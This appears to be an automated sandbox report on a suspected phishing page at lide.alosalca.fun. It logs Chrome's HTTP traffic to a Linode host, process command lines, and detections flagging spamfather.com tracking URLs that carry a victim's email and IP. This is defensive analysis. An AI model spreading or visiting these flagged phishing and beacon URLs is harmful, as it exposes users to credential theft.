Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:24 UTC	589	OUT	GET /vph/lrdVLojiou0qqZly HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:24 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:24 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:24 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 7e 02 23 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCC~#"}!1AQa"q
2024-04-25 19:45:24 UTC	19	IN	Data Raw: 28 00 a2 8a 28 00 a2 8a 28 03 ff d9 0d 0a 30 0d 0a 0d 0a Data Ascii: (((0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49791	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:24 UTC	384	OUT	GET /vid2/GshGTxDGjm16q1FN HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:24 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:24 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:24 UTC	4674	IN	Data Raw: 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 2f 01 1c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 Data Ascii: f40JFIFxxCC/"}!1AQa"q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49793	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:25 UTC	383	OUT	GET /vph/lrdVLojiou0qqZly HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:25 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:25 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:25 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 7e 02 23 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCC~#"}!1AQa"q
2024-04-25 19:45:25 UTC	19	IN	Data Raw: 28 00 a2 8a 28 00 a2 8a 28 03 ff d9 0d 0a 30 0d 0a 0d 0a Data Ascii: (((0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49792	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:25 UTC	590	OUT	GET /vph1/UwfUCFjisDNgeIUh HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:25 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:25 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:25 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 7e 02 23 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCC~#"}!1AQa"q
2024-04-25 19:45:25 UTC	19	IN	Data Raw: 28 00 a2 8a 28 00 a2 8a 28 03 ff d9 0d 0a 30 0d 0a 0d 0a Data Ascii: (((0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49795	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:25 UTC	384	OUT	GET /vph1/UwfUCFjisDNgeIUh HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:26 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:26 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:26 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 00 7e 02 23 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCC~#"}!1AQa"q
2024-04-25 19:45:26 UTC	19	IN	Data Raw: 28 00 a2 8a 28 00 a2 8a 28 03 ff d9 0d 0a 30 0d 0a 0d 0a Data Ascii: (((0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49794	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:25 UTC	591	OUT	GET /wednt/vSLR30xkV1wCUmqV HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:26 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:26 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:26 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 02 45 02 07 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCE"}!1AQa"q
2024-04-25 19:45:26 UTC	16384	IN	Data Raw: f7 71 cb 23 2b 44 d1 98 8a ac 6a 0d 0a 32 30 30 30 0d 0a 8a 98 62 d8 8d 50 96 00 b1 38 a2 e2 b1 c0 f8 5b e1 46 83 f1 33 e3 17 c6 55 f1 44 0f ac 69 11 ea 96 68 9a 4c d2 b0 b6 f3 0d 94 5b a5 64 52 37 b6 36 80 5b 3b 70 48 c1 24 d7 53 fb 2e f9 ba 6f 87 7c 5f e1 c1 73 71 75 a7 f8 77 c4 b7 ba 66 9f f6 a9 5a 59 23 b6 5d 8e 91 ee 6e 48 5d e5 46 4f 40 2b d1 3c 37 e0 4b 0f 0b 78 87 c4 fa cd a4 d7 32 5d 78 82 ea 3b bb a4 99 94 a2 3a 44 b1 01 18 0a 08 1b 50 13 92 79 cf d2 99 e0 9f 87 fa 77 80 e4 f1 03 e9 f3 5d 4c 75 ad 52 5d 5a e3 ed 2c ad b6 59 02 86 54 da a3 0b f2 8c 03 93 d7 9a 2e 3b 1e 07 f1 5b e0 97 81 7c 61 fb 5a 78 35 75 9f 0c d9 6a 2b ac 68 9a 95 cd f8 98 31 fb 44 91 1b 65 89 9b 9e aa ac 40 fa d7 d3 f0 42 96 d0 c7 0c 4b b2 38 d4 22 a8 ec 00 c0 15 c3 fc 48 f8 Data Ascii: q#+Dj2000bP8[F3UDihL[dR76[;pH$S.o\|_squwfZY#]nH]FO@+<7Kx2]x;:DPyw]LuR]Z,YT.;[\|aZx5uj+h1De@BK8"H
2024-04-25 19:45:26 UTC	16384	IN	Data Raw: 69 15 c4 d6 d7 11 cb 34 a8 01 75 48 1a 31 2b e0 30 c9 54 23 9a ed 3e 16 fc 63 f0 0d 0a 32 30 30 30 0d 0a 5f c6 ad 05 f5 8f 04 f8 86 d7 5f b0 8d fc b9 5a 0d c8 f1 36 32 16 48 dc 07 42 47 20 30 19 af 8b bf e0 98 ff 00 03 3c 19 e2 cf 82 b7 fe 26 f1 2e 83 61 e2 6b f9 b5 29 ad 20 5d 62 dd 2e a2 b4 85 55 09 58 92 40 55 0b 31 25 88 19 3c 67 a5 3f f6 4f d0 6c fe 17 7f c1 40 fe 32 78 2f c3 d1 0b 0f 0e 7d 87 cf 4b 18 f2 23 8c e6 09 14 28 ec 17 ce 70 3d 01 c5 2b 0a e7 d7 df 16 3f 68 2f 87 7f 03 60 b7 93 c7 1e 2a b3 d0 9a e0 66 1b 77 0f 34 f2 2e 70 59 62 8d 59 ca e7 b8 5c 57 37 27 ed 91 f0 69 74 3d 0b 57 5f 1c da cf a7 eb 77 7f 60 b2 92 da da e2 66 6b 8f 97 f7 6e 89 19 68 9b e7 53 89 02 f0 73 5f 28 7e ce 1e 0f d1 3f 69 8f db 4b e3 3f 89 bc 77 a7 c3 e2 28 fc 37 72 6c Data Ascii: i4uH1+0T#>c2000__Z62HBG 0<&.ak) ]b.UX@U1%<g?Ol@2x/}K#(p=+?h/`*fw4.pYbY\W7'it=W_w`fknhSs_(~?iK?w(7rl
2024-04-25 19:45:26 UTC	10004	IN	Data Raw: df 43 d1 ae 3c 32 da 8d cd e4 d6 71 dc 3d b4 82 e7 66 f8 95 87 cc ec 0e d1 bd 8a 0e 4e d6 3c 56 06 8b f1 a7 c4 7f 09 6e 3e 2e 68 0d 0a 32 36 64 61 0d 0a de 3c d6 53 c6 1f f0 84 e9 30 6b d6 9a b2 da 47 67 3d d5 bc a9 29 11 4a 91 81 1e f0 f1 15 dc aa 32 08 e2 8b 01 f4 8d 15 f3 ad d6 8f f1 c6 3f 02 3f 8e 0f c4 4d 3d 35 a4 b3 3a 99 f0 88 d1 20 3a 56 d0 9b fe cd e7 7f c7 c6 ec 7c be 6f 99 8c f3 b7 15 a5 e0 cf 8d 5a 97 89 be 22 7c 3e d4 0d c3 c5 e0 cf 1d f8 55 af ec ac e5 8e 30 2d 6f a2 d9 2b af 99 b4 31 dd 14 87 82 48 fd d1 20 0e e5 80 f7 8a 2b e6 8f 86 7f b4 26 b9 25 f7 c4 bd 4f c5 b7 31 ff 00 c2 3f 15 84 9e 26 f0 d8 11 22 6d d3 11 e6 84 ae 40 05 c9 30 a4 99 6c 9f df 81 9c 60 0f 65 f8 37 3f 88 af 3e 16 f8 62 eb c5 b7 5f 6c f1 1d d5 8c 77 37 d2 79 69 1e 24 90 Data Ascii: C<2q=fN<Vn>.h26da<S0kGg=)J2??M=5: :V\|oZ"\|>U0-o+1H +&%O1?&"m@0l`e7?>b_lw7yi$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49796	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:45:26 UTC	385	OUT	GET /wednt/vSLR30xkV1wCUmqV HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:45:27 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:45:27 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:45:27 UTC	16195	IN	Data Raw: 31 66 34 30 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 02 45 02 07 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 Data Ascii: 1f40JFIFxxCCE"}!1AQa"q
2024-04-25 19:45:27 UTC	16384	IN	Data Raw: f7 71 cb 23 2b 44 d1 98 8a ac 6a 0d 0a 32 30 30 30 0d 0a 8a 98 62 d8 8d 50 96 00 b1 38 a2 e2 b1 c0 f8 5b e1 46 83 f1 33 e3 17 c6 55 f1 44 0f ac 69 11 ea 96 68 9a 4c d2 b0 b6 f3 0d 94 5b a5 64 52 37 b6 36 80 5b 3b 70 48 c1 24 d7 53 fb 2e f9 ba 6f 87 7c 5f e1 c1 73 71 75 a7 f8 77 c4 b7 ba 66 9f f6 a9 5a 59 23 b6 5d 8e 91 ee 6e 48 5d e5 46 4f 40 2b d1 3c 37 e0 4b 0f 0b 78 87 c4 fa cd a4 d7 32 5d 78 82 ea 3b bb a4 99 94 a2 3a 44 b1 01 18 0a 08 1b 50 13 92 79 cf d2 99 e0 9f 87 fa 77 80 e4 f1 03 e9 f3 5d 4c 75 ad 52 5d 5a e3 ed 2c ad b6 59 02 86 54 da a3 0b f2 8c 03 93 d7 9a 2e 3b 1e 07 f1 5b e0 97 81 7c 61 fb 5a 78 35 75 9f 0c d9 6a 2b ac 68 9a 95 cd f8 98 31 fb 44 91 1b 65 89 9b 9e aa ac 40 fa d7 d3 f0 42 96 d0 c7 0c 4b b2 38 d4 22 a8 ec 00 c0 15 c3 fc 48 f8 Data Ascii: q#+Dj2000bP8[F3UDihL[dR76[;pH$S.o\|_squwfZY#]nH]FO@+<7Kx2]x;:DPyw]LuR]Z,YT.;[\|aZx5uj+h1De@BK8"H
2024-04-25 19:45:27 UTC	16384	IN	Data Raw: 69 15 c4 d6 d7 11 cb 34 a8 01 75 48 1a 31 2b e0 30 c9 54 23 9a ed 3e 16 fc 63 f0 0d 0a 32 30 30 30 0d 0a 5f c6 ad 05 f5 8f 04 f8 86 d7 5f b0 8d fc b9 5a 0d c8 f1 36 32 16 48 dc 07 42 47 20 30 19 af 8b bf e0 98 ff 00 03 3c 19 e2 cf 82 b7 fe 26 f1 2e 83 61 e2 6b f9 b5 29 ad 20 5d 62 dd 2e a2 b4 85 55 09 58 92 40 55 0b 31 25 88 19 3c 67 a5 3f f6 4f d0 6c fe 17 7f c1 40 fe 32 78 2f c3 d1 0b 0f 0e 7d 87 cf 4b 18 f2 23 8c e6 09 14 28 ec 17 ce 70 3d 01 c5 2b 0a e7 d7 df 16 3f 68 2f 87 7f 03 60 b7 93 c7 1e 2a b3 d0 9a e0 66 1b 77 0f 34 f2 2e 70 59 62 8d 59 ca e7 b8 5c 57 37 27 ed 91 f0 69 74 3d 0b 57 5f 1c da cf a7 eb 77 7f 60 b2 92 da da e2 66 6b 8f 97 f7 6e 89 19 68 9b e7 53 89 02 f0 73 5f 28 7e ce 1e 0f d1 3f 69 8f db 4b e3 3f 89 bc 77 a7 c3 e2 28 fc 37 72 6c Data Ascii: i4uH1+0T#>c2000__Z62HBG 0<&.ak) ]b.UX@U1%<g?Ol@2x/}K#(p=+?h/`*fw4.pYbY\W7'it=W_w`fknhSs_(~?iK?w(7rl
2024-04-25 19:45:27 UTC	10004	IN	Data Raw: df 43 d1 ae 3c 32 da 8d cd e4 d6 71 dc 3d b4 82 e7 66 f8 95 87 cc ec 0e d1 bd 8a 0e 4e d6 3c 56 06 8b f1 a7 c4 7f 09 6e 3e 2e 68 0d 0a 32 36 64 61 0d 0a de 3c d6 53 c6 1f f0 84 e9 30 6b d6 9a b2 da 47 67 3d d5 bc a9 29 11 4a 91 81 1e f0 f1 15 dc aa 32 08 e2 8b 01 f4 8d 15 f3 ad d6 8f f1 c6 3f 02 3f 8e 0f c4 4d 3d 35 a4 b3 3a 99 f0 88 d1 20 3a 56 d0 9b fe cd e7 7f c7 c6 ec 7c be 6f 99 8c f3 b7 15 a5 e0 cf 8d 5a 97 89 be 22 7c 3e d4 0d c3 c5 e0 cf 1d f8 55 af ec ac e5 8e 30 2d 6f a2 d9 2b af 99 b4 31 dd 14 87 82 48 fd d1 20 0e e5 80 f7 8a 2b e6 8f 86 7f b4 26 b9 25 f7 c4 bd 4f c5 b7 31 ff 00 c2 3f 15 84 9e 26 f0 d8 11 22 6d d3 11 e6 84 ae 40 05 c9 30 a4 99 6c 9f df 81 9c 60 0f 65 f8 37 3f 88 af 3e 16 f8 62 eb c5 b7 5f 6c f1 1d d5 8c 77 37 d2 79 69 1e 24 90 Data Ascii: C<2q=fN<Vn>.h26da<S0kGg=)J2??M=5: :V\|oZ"\|>U0-o+1H +&%O1?&"m@0l`e7?>b_lw7yi$

Target ID:	0
Start time:	21:44:48
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	21:44:51
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2184,i,9310823674978504222,17658416220767303458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	21:44:54
Start date:	25/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://lide.alosalca.fun/highbox#joeblow@xyz.com"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://dashboard.spamfather.com/web/blocked-ip/check-ip?ip=185.152.66.230	Avira URL Cloud: Label: malware
Source: https://dashboard.spamfather.com/web/site/go-back?token=9704A-4FC48-AE885-98DCB-DCDF5-7F3FD-EF-16-81851-875&usr=joeblow@xyz.com	Avira URL Cloud: Label: malware
Source: https://dashboard.spamfather.com/web/site/check-em?email=joeblow@xyz.com	Avira URL Cloud: Label: malware
Source: https://dashboard.spamfather.com/web/site/stats?ip=185.152.66.230&ua=Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64)%2520AppleWebKit%252F537.36%2520(KHTML%252C%2520like%2520Gecko)%2520Chrome%252F117.0.0.0%2520Safari%252F537.36&em=brianknowt23%40gmail.com	Avira URL Cloud: Label: malware

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.2.pages.csv, type: HTML
Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: Invalid link: Privacy statement
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: Invalid link: Privacy statement
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: Invalid link: Privacy statement
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: Invalid link: Privacy statement

Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No favicon
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No favicon
